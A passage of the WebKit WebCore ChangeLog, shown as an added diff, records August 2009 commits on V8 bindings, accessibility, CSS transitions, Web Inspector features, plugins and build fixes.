+        (WebCore::DOMApplicationCache::setOnerror):
+        (WebCore::DOMApplicationCache::onerror):
+        (WebCore::DOMApplicationCache::setOnnoupdate):
+        (WebCore::DOMApplicationCache::onnoupdate):
+        (WebCore::DOMApplicationCache::setOndownloading):
+        (WebCore::DOMApplicationCache::ondownloading):
+        (WebCore::DOMApplicationCache::setOnprogress):
+        (WebCore::DOMApplicationCache::onprogress):
+        (WebCore::DOMApplicationCache::setOnupdateready):
+        (WebCore::DOMApplicationCache::onupdateready):
+        (WebCore::DOMApplicationCache::setOncached):
+        (WebCore::DOMApplicationCache::oncached):
+        (WebCore::DOMApplicationCache::setOnobsolete):
+        (WebCore::DOMApplicationCache::onobsolete):
+
+        Use ApplicationCachHost defined constants for Status and EventIDs.
+
+2009-08-04  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Revert r46421 and r46769, which appear to have totally hosed the v8 bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27719
+
+        * bindings/v8/V8AbstractEventListener.cpp: Revert r46421.
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp: Revert r46769.
+        (WebCore::ACCESSOR_GETTER):
+
+2009-08-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27993 - AXSliders are missing required attributes and actions
+        https://bugs.webkit.org/show_bug.cgi?id=27993
+
+        Expose appropriate actions and attributes for sliders.
+
+        Test: platform/mac/accessibility/slider-supports-actions.html
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::orientation):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySlider::orientation):
+        * accessibility/AccessibilitySlider.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityActionNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+
+2009-08-04  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Fix an assert in WebCoreStringResource that causes worker script
+        evaluation failed.
+        https://bugs.webkit.org/show_bug.cgi?id=27996
+
+        The fix is to check for the same thread, instead of the main thread.
+        This is because Chromium's workers use v8 in a single thread that is
+        not the main thread.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::WebCoreStringResource::WebCoreStringResource):
+        (WebCore::WebCoreStringResource::~WebCoreStringResource):
+        (WebCore::WebCoreStringResource::atomicString):
+
+2009-08-04  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Add support for transitions/animations of text-indent.
+
+        Test: transitions/text-indent-transition.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::ensurePropertyMap):
+
+2009-08-04  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Add support for transitions of min- and max-width, and min- and max-height.
+        https://bugs.webkit.org/show_bug.cgi?id=27990
+
+        Test: transitions/min-max-width-height-transitions.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::ensurePropertyMap):
+
+2009-08-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27964 - WAI-ARIA: radio button does not determine its label from text content
+        https://bugs.webkit.org/show_bug.cgi?id=27964
+
+        ARIA radio buttons also need to use the text inside of them, like buttons and other roles.
+        Also fixed an issue where an extra space was being appended to some ARIA labels.
+
+        Test: platform/mac/accessibility/aria-radiobutton-text.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::ariaAccessibilityName):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::ariaAccessibilityName):
+        (WebCore::AccessibilityRenderObject::ariaLabeledByAttribute):
+        (WebCore::AccessibilityRenderObject::title):
+        (WebCore::AccessibilityRenderObject::ariaDescribedByAttribute):
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-08-04  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Missed a place that expects window.event to be hidden when it shouldn't be.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27719
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_GETTER): window.event is no longer hidden.
+
+2009-08-03  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Bug 27958 - WAI-ARIA: Implement 'aria-required' attribute.
+        https://bugs.webkit.org/show_bug.cgi?id=27958
+
+        Test: platform/mac/accessibility/aria-required.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isRequired):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isRequired):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        * html/HTMLAttributeNames.in:
+
+2009-08-04  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add QWebPluginDatabase API to the Qt API.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        * WebCore.pro:
+
+2009-08-04  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Adam Treat.
+
+        [Qt] PlusDarker is not supported. Fall back to CompositionMode_Darken
+        (as it is the closest match) instead of CompositionMode_SourceOver.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::toQtCompositionMode):
+
+2009-08-04  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [v8] Fix crash when converting empty v8 string to atomic webkit string.
+        https://bugs.webkit.org/show_bug.cgi?id=27975
+
+        collection-null-like-arguments.html tests for this.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8StringToAtomicWebCoreString):
+
+2009-08-04  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        selectionHasStyle needs clean up to fix Bug 27858
+        https://bugs.webkit.org/show_bug.cgi?id=27865
+
+        This patch cleans up selectionStartHasStyle and selectionHasStyle.
+        No test is added because the patch does not change any behavior.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::getPropertiesNotInComputedStyle): Used in triStateOfStyleInComputedStyle but will be used here as well
+        * editing/ApplyStyleCommand.h: Added the prototype of getPropertiesNotInComputedStyle
+        * editing/Editor.cpp:
+        (WebCore::triStateOfStyleInComputedStyle): Determines if the specified style is present in the specified computed style.
+        (WebCore::Editor::selectionStartHasStyle): Uses triStateOfStyleInComputedStyle
+        (WebCore::Editor::selectionHasStyle): Uses triStateOfStyleInComputedStyle instead of updateState
+
+2009-08-03  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix MessagePort construction in worker process.  Also make the other object constructions match this.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27906
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setDOMException):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::ToV8Object):
+
+2009-08-03  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by David Levin.
+
+        [V8] Cache atomic strings in externalized v8 strings
+        https://bugs.webkit.org/show_bug.cgi?id=27762
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::WebCoreStringResource::WebCoreStringResource):
+        (WebCore::WebCoreStringResource::~WebCoreStringResource):
+        (WebCore::WebCoreStringResource::data):
+        (WebCore::WebCoreStringResource::length):
+        (WebCore::WebCoreStringResource::webcoreString):
+        (WebCore::WebCoreStringResource::atomicString):
+        (WebCore::WebCoreStringResource::toStringResource):
+        (WebCore::v8StringToWebCoreString):
+        (WebCore::v8StringToAtomicWebCoreString):
+        (WebCore::v8ValueToWebCoreString):
+        (WebCore::v8ValueToAtomicWebCoreString):
+        * bindings/v8/V8Binding.h:
+        (WebCore::):
+        * dom/Document.idl:
+
+2009-08-03  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: DOM Storage Live Updating Should Not Affect Tabbing
+        https://bugs.webkit.org/show_bug.cgi?id=27957
+
+        * inspector/front-end/DOMStorageDataGrid.js:
+        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode): disable storage event listener
+        (WebInspector.DOMStorageDataGrid.prototype._startEditing): disable storage event listener
+        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled): enable storage event listener
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype._unregisterStorageEventListener): quick return if no listener
+
+2009-08-03  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Consolidate common gcc flags to WebKit.pri
+        https://bugs.webkit.org/show_bug.cgi?id=27934
+
+        * WebCore.pro:
+
+2009-08-03  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium code sometimes isn't sandboxed and needs to access the FS.
+        https://bugs.webkit.org/show_bug.cgi?id=27954
+
+        These changes are the WebKit side of http://codereview.chromium.org/159778 which
+        aims to make LocalStorage persistent.
+
+        This change runs all FileSystem routines through the ChromiumBridge so that
+        WebKitClients can handle them if they choose to.  For now, the only such client
+        will be the one running in the browser process.
+
+        It also adds a method called sandboxEnabled to the Chromium bridge so that the
+        SQLite file system code can shift its behavior depending on whether we're
+        inside a sandbox or not.
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/FileSystemChromium.cpp:
+        (WebCore::deleteFile):
+        (WebCore::deleteEmptyDirectory):
+        (WebCore::getFileModificationTime):
+        (WebCore::directoryName):
+        (WebCore::pathByAppendingComponent):
+        (WebCore::makeAllDirectories):
+        (WebCore::fileExists):
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
+        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
+
+2009-08-03  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] Implement media slider for chromium
+        https://bugs.webkit.org/show_bug.cgi?id=27859
+
+        Implemented the media slider for chromium port. The implementation
+        is using Skia for drawing the thumb and buffered region instead of
+        using any native system controls so different platforms would have
+        the same look and feel.
+
+        No new tests because this is covered by existing tests.
+
+        * css/mediaControlsChromium.css:
+        * rendering/RenderThemeChromiumSkia.cpp:
+        * rendering/RenderThemeChromiumSkia.h:
+        * rendering/RenderThemeChromiumWin.cpp:
+
+2009-07-27  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26460
+        Plumbing and cleanup in advance of returning multiple frames from the
+        ICOImageDecoder:
+        * Make ImageDecoder::frameCount() return a size_t like
+          ImageSource::frameCount() and BitmapImage::frameCount() already do.
+        * Add ImageDecoder::frameSizeAtIndex() alongside size(), to report the
+          size of a particular frame.  Hook all the
+          ImageSource::frameSizeAtIndex() implementations to this.  No
+          ImageDecoder implements this yet; that will come in my next change.
+
+        * platform/graphics/cairo/ImageSourceCairo.cpp:
+        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::frameCount): returns size_t.
+        * platform/graphics/qt/ImageDecoderQt.h: frameCount() returns size_t.
+        * platform/graphics/qt/ImageSourceQt.cpp:
+        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
+        * platform/graphics/skia/ImageSourceSkia.cpp:
+        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
+        * platform/graphics/win/ImageCGWin.cpp:
+        (WebCore::BitmapImage::drawFrameMatchingSourceSize): frameCount() returns size_t.
+        * platform/graphics/win/ImageCairoWin.cpp:
+        (WebCore::BitmapImage::drawFrameMatchingSourceSize): frameCount() returns size_t.
+        * platform/graphics/wx/ImageSourceWx.cpp:
+        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::size): Clarify comment.
+        (WebCore::ImageDecoder::frameSizeAtIndex): Add.
+        (WebCore::ImageDecoder::frameCount): returns size_t.
+        (WebCore::ImageDecoder::frameBufferAtIndex): Remove unneeded param name.
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::frameCount): returns size_t.
+        (WebCore::GIFImageDecoder::frameBufferAtIndex): frameCount() returns size_t.
+        * platform/image-decoders/gif/GIFImageDecoder.h: frameCount() returns size_t.
+
+2009-08-03  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a bug that could cause an ASSERT to fail incorrectly, leading
+        to a renderer crash in Chromium.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27947
+
+        All tests in storage/ pass.
+
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::~SQLiteTransaction):
+        (WebCore::SQLiteTransaction::begin):
+
+2009-08-03  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Based on work by Yael Aharon.
+
+        Implement keyboard event forwarding for windowless plugins
+        for the Qt port.
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::dispatchNPEvent):
+        (WebCore::setSharedXEventFields):
+        (WebCore::setXKeyEventSpecificFields):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::handleMouseEvent):
+
+2009-08-03  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Make Bottom "Drawer" More Extensible To Support Other Views
+        https://bugs.webkit.org/show_bug.cgi?id=27928
+
+        * English.lproj/localizedStrings.js:
+
+          "Show changes view", "Hide changes view", "Clear changes log", "%d style change", "%d style changes"
+
+        * inspector/front-end/ChangesView.js: Added.
+        (WebInspector.ChangesView):
+        (WebInspector.ChangesView.prototype._clearButtonClicked):
+        (WebInspector.ChangesView.prototype._toggleChangesButtonClicked):
+        (WebInspector.ChangesView.prototype.attach):
+        (WebInspector.ChangesView.prototype.show):
+        (WebInspector.ChangesView.prototype.hide):
+
+          To be a new view to show Changes made via the inspector.  DOM, CSS, or otherwise.
+
+        * inspector/front-end/Console.js: Removed.
+
+          Sliding View aspect moved to Drawer.js.  The "console" itself has moved to ConsoleView.js
+
+        * inspector/front-end/ConsoleView.js: Added.
+
+          Little has changed from its move from Console.js other then support for working with the Drawer.
+
+        * inspector/front-end/Drawer.js: Added.
+        (WebInspector.Drawer):
+        (WebInspector.Drawer.prototype.get visibleView):
+        (WebInspector.Drawer.prototype.set visibleView):
+        (WebInspector.Drawer.prototype.show.animationFinished):
+        (WebInspector.Drawer.prototype.show):
+        (WebInspector.Drawer.prototype.hide.animationFinished):
+        (WebInspector.Drawer.prototype.hide):
+        (WebInspector.Drawer.prototype._safelyRemoveChildren):
+        (WebInspector.Drawer.prototype._startStatusBarDragging):
+        (WebInspector.Drawer.prototype._statusBarDragging):
+        (WebInspector.Drawer.prototype._endStatusBarDragging):
+
+          Allow for multiple views inside the Sliding Drawer.
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel):
+        (WebInspector.ElementsPanel.prototype.renameSelector):
+        (WebInspector.ElementsPanel.prototype.addStyleChange):
+        (WebInspector.ElementsPanel.prototype.removeStyleChange):
+        (WebInspector.ElementsPanel.prototype.generateStylesheet):
+
+          Starting work on the "Changes" Panel. The ability to generate a Stylesheet from Styles added via the Inspector.
+
+        * inspector/front-end/Images/styleIcon.png: Added.
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.prototype.isInspectorStylesheet):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal):
+        (WebInspector.StylePropertyTreeElement.prototype):
+
+          Interface with ElementsPanel for generating a Stylesheet of Changes.
+
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css: Refactored to allow for multiple views in the drawer.
+        * inspector/front-end/inspector.html: Refactored to allow for multiple views in the drawer.
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.get styleChanges):
+        (WebInspector.set styleChanges):
+        (WebInspector._updateChangesCount):
+        (WebInspector.loaded):
+        (WebInspector.documentKeyDown):
+        (WebInspector.showConsole):
+        (WebInspector.showChanges):
+
+          Support for the drawer and "styles changed icon" similar to the "errors and warnings" icons.
+
+2009-08-03  Dean McNamee  <deanm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Correct an assert on a PassRefPtr in the v8 svg bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=27951
+
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        (WebCore::V8SVGDynamicPODTypeWrapper::V8SVGDynamicPODTypeWrapper):
+
+2009-08-03  Dirk Pranke  <dpranke@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27748
+        crash w/ stack overflow when same CSS file loaded repeatedly
+
+        Fix crash caused by a stack overflow when repeatedly loading very large
+        CSS files. CSSRuleData in CSSStyleSelector.h destroyed itself 
+        recursively rather than iteratively.
+
+        Test: fast/css/large-list-of-rules-crash.html
+
+        * css/CSSStyleSelector.h:
+        (WebCore::CSSRuleData::~CSSRuleData):
+        (WebCore::CSSRuleDataList::~CSSRuleDataList):
+
+2009-08-03  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Make the DRT APIs to pause transitions and animations work for accelerated animations
+        <https://bugs.webkit.org/show_bug.cgi?id=27627>
+        <rdar://problem/6442932>
+
+        Fix the 'pauseAnimationAtTimeOnElementWithId' and 'pauseTransitionAtTimeOnElementWithId' APIs
+        available to LayoutTests to work with accelerated animations and transitions. Done by sending
+        the pause time down to the GraphicsLayer, and using it to stop time on the layer.
+        
+        I also added an assertion to check that the animation has actually started when we
+        try to pause it, to check that the pause time we compute is valid. This revealed a number
+        of tests that tried to pause before animations started, required some amount of test fixing.
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::freezeAtTime):
+        * page/animation/AnimationBase.h:
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::pauseAnimationAtTime):
+        (WebCore::CompositeAnimation::pauseTransitionAtTime):
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::suspendAnimations):
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::suspendAnimations):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::suspendAnimations):
+        * rendering/RenderLayerBacking.h:
+
+2009-08-03  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix Chromium build by removing PluginView.h from Page.cpp.
+        Chromium doesn't use PluginView and the pointer is never
+        dereferenced so the header doesn't need to be included.
+        https://bugs.webkit.org/show_bug.cgi?id=27946
+
+        No new tests because this is a build fix.
+
+        * page/Page.cpp:
+
+2009-08-03  Eric Carlson  <eric.carlson@apple.com>
+
+        One more build fix after https://bugs.webkit.org/show_bug.cgi?id=46720.
+
+        Unreviewed.
+
+        * WebCoreSources.bkl:
+
+2009-08-03  Eric Carlson  <eric.carlson@apple.com>
+
+        Build fix after https://bugs.webkit.org/show_bug.cgi?id=46720.
+
+        Unreviewed.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-08-03  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27943: Need to implement ARIA role="radiogroup"
+        https://bugs.webkit.org/show_bug.cgi?id=27943
+
+        Test: platform/mac/accessibility/aria-radiogroup.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isRadioGroup):
+        (WebCore::AccessibilityObject::selectedRadioButton):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::selectedRadioButton):
+        (WebCore::RoleEntry::):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper roleDescription]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+
+2009-08-03  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        HTMLInputElement is not controllable by assistive technologies
+        https://bugs.webkit.org/show_bug.cgi?id=27941
+
+        Test: accessibility/input-slider.html
+
+        * WebCore.xcodeproj/project.pbxproj:
+            Add AccessibilitySlider.cpp/.h
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+            Create AccessibilitySlider and AccessibilitySliderThumb.
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::increment):
+        (WebCore::AccessibilityObject::decrement):
+            Add default, do nothing, base class methods.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
+            Correct typo.
+
+        * accessibility/AccessibilitySlider.cpp: Added.
+        (WebCore::AccessibilitySlider::AccessibilitySlider):
+        (WebCore::AccessibilitySlider::create):
+        (WebCore::AccessibilitySlider::children):
+        (WebCore::AccessibilitySlider::addChildren):
+        (WebCore::AccessibilitySlider::getAttribute):
+        (WebCore::AccessibilitySlider::valueForRange):
+        (WebCore::AccessibilitySlider::maxValueForRange):
+        (WebCore::AccessibilitySlider::minValueForRange):
+        (WebCore::AccessibilitySlider::changeValue):
+        (WebCore::AccessibilitySlider::setValue):
+        (WebCore::AccessibilitySlider::increment):
+        (WebCore::AccessibilitySlider::decrement):
+        (WebCore::AccessibilitySlider::element):
+        (WebCore::AccessibilitySliderThumb::AccessibilitySliderThumb):
+        (WebCore::AccessibilitySliderThumb::create):
+        (WebCore::AccessibilitySliderThumb::elementRect):
+        (WebCore::AccessibilitySliderThumb::size):
+        * accessibility/AccessibilitySlider.h: Added.
+        (WebCore::AccessibilitySlider::~AccessibilitySlider):
+        (WebCore::AccessibilitySlider::roleValue):
+        (WebCore::AccessibilitySlider::accessibilityIsIgnored):
+        (WebCore::AccessibilitySlider::isSlider):
+        (WebCore::AccessibilitySlider::canSetValueAttribute):
+        (WebCore::AccessibilitySliderThumb::~AccessibilitySliderThumb):
+        (WebCore::AccessibilitySliderThumb::roleValue):
+        (WebCore::AccessibilitySliderThumb::accessibilityIsIgnored):
+        (WebCore::AccessibilitySliderThumb::setParentObject):
+        (WebCore::AccessibilitySliderThumb::parentObject):
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (RoleEntry::):
+            SliderThumbRole -> NSAccessibilityValueIndicatorRole
+        (-[AccessibilityObjectWrapper roleDescription]):
+            Return role description for NSAccessibilitySliderRole and NSAccessibilityValueIndicatorRole.
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+            Minor coding style correction.
+        (-[AccessibilityObjectWrapper accessibilityPerformPressAction]):
+            If attachement view handles press action, don't also call object wrapper.
+        (-[AccessibilityObjectWrapper accessibilityPerformIncrementAction]):
+            New, call object's increment() method.
+        (-[AccessibilityObjectWrapper accessibilityPerformDecrementAction]):
+            New, call object's decrement() method.
+        (-[AccessibilityObjectWrapper accessibilityPerformAction:]):
+            Respond to NSAccessibilityIncrementAction and NSAccessibilityDecrementAction.
+
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::thumbRect):
+            Factor logic out of layout so AccessibilitySliderThumb can get thumb location/size.
+        (WebCore::RenderSlider::layout):
+            Move code to thumbRect().
+        * rendering/RenderSlider.h:
+
+2009-08-03  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Build fix if Netscape plugin support is turned off
+        https://bugs.webkit.org/show_bug.cgi?id=27940
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::stop): Do not call NPN_MemFree if NPAPI is
+        disabled
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::platformStart): Empty stub.
+
+2009-07-31  Joe Mason  <joe.mason@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE port: LOAD_WITH_ALTERED_SEARCH_PATH param of LoadLibraryEx not supported on WINCE
+        https://bugs.webkit.org/show_bug.cgi?id=27917
+
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::load): use LoadLibrary instead of LoadLibraryEx
+
+2009-08-02  Adam Barth  <abarth@webkit.org>
+        Reviewed by Darin Adler.
+
+        SVGElementInstance::scriptExecutionContext should call document() instead of scriptExecutionContext()
+
+        https://bugs.webkit.org/show_bug.cgi?id=27932
+
+        There's no reason to pay for a virtual function call in this case.  We
+        can just call document() directly because we know that element is a
+        Node*.
+
+        * svg/SVGElementInstance.cpp:
+        (WebCore::SVGElementInstance::scriptExecutionContext):
+
+2009-08-02  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        JSNodeCustom should call document() instead of scriptExecutionContext()
+        https://bugs.webkit.org/show_bug.cgi?id=27931
+
+        We want to call document() because it's in inline function, instead of
+        scriptExecutionContext() because it's a virtual function.  If we have a
+        Node*, then we know that the virtual function will always return the
+        document anyway.
+
+        There are more instance of this bug, but I'd like to start with a small
+        patch and work up.
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::toJSDOMGlobalObject):
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+
+2009-08-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Anders Carlsson.
+
+        Share implementation of PluginView::userAgent() and userAgentStatic()
+
+        https://bugs.webkit.org/show_bug.cgi?id=27706
+
+        Differences to the original implementation are as follows:
+        
+            - The Win port used to return 0 for userAgentStatic, but now
+              returns the quirk mode MozillaUserAgent as the other ports.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::userAgent):
+        (WebCore::PluginView::userAgentStatic):
+        * plugins/PluginViewNone.cpp:
+        * plugins/gtk/PluginViewGtk.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        * plugins/win/PluginViewWin.cpp:
+
+2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Anders Carlsson.
+
+        Unregister plugin from PluginMainThreadScheduler if NPP_New fails
+        
+        https://bugs.webkit.org/show_bug.cgi?id=27706
+        
+        Since the plugin has not been started yet (m_isStarted is not set),
+        calling stop() will not have any affect, so we manually unregister
+        in start() before returning.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::start):
+
+2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Anders Carlsson.
+
+        Join the various versions of PluginView::stop() into one shared implementation
+
+        https://bugs.webkit.org/show_bug.cgi?id=27706
+
+        The platform-dependent bits are now ifdef'ed in the shared implementation,
+        using the XP_ defines (XP_WIN, XP_MACOSX, XP_UNIX) from npapi.h
+        
+        Differences to the original implementation are as follows:
+
+            - The Qt port unregistered the plugin before calling NP_SetWindow
+              with a 0 window handle. Now it's done after (similar to Win)
+
+            - The GTK and Qt ports unregistered the plugin before clearing
+              the m_npWindow.ws_info struct. Now it's done after.
+              
+            - The Win port constructed the DropAllLocks after unsubclassing
+              the window. Now it's done before.
+              
+            - The Mac, Qt, and GTK ports did not pass a NPSavedData struct
+              to NP_Destroy (like the Win port). Now all ports do.
+
+            - The Win port did not call PluginView::setCurrentPluginView()
+              before calling to NP-functions. Now it does.     
+
+        * plugins/PluginView.cpp:
+        * plugins/PluginViewNone.cpp:
+        * plugins/gtk/PluginViewGtk.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        * plugins/win/PluginViewWin.cpp:
+
+2009-07-30  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: let me *edit* css styles in the web inspector.
+        https://bugs.webkit.org/show_bug.cgi?id=27124
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel): added property stylesheet pointing to 1 stylesheet added to the page if needed
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update): handle blank sections
+        (WebInspector.StylesSidebarPane.prototype.addBlankSection): blank section in the correct position
+        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode): helper to get a nice selector for the selectd node
+        (WebInspector.StylePropertiesSection):
+        (WebInspector.StylePropertiesSection.prototype.expand):
+        (WebInspector.StylePropertiesSection.prototype.isPropertyInherited):
+        (WebInspector.StylePropertiesSection.prototype.isPropertyOverloaded):
+        (WebInspector.StylePropertiesSection.prototype.addNewBlankProperty):
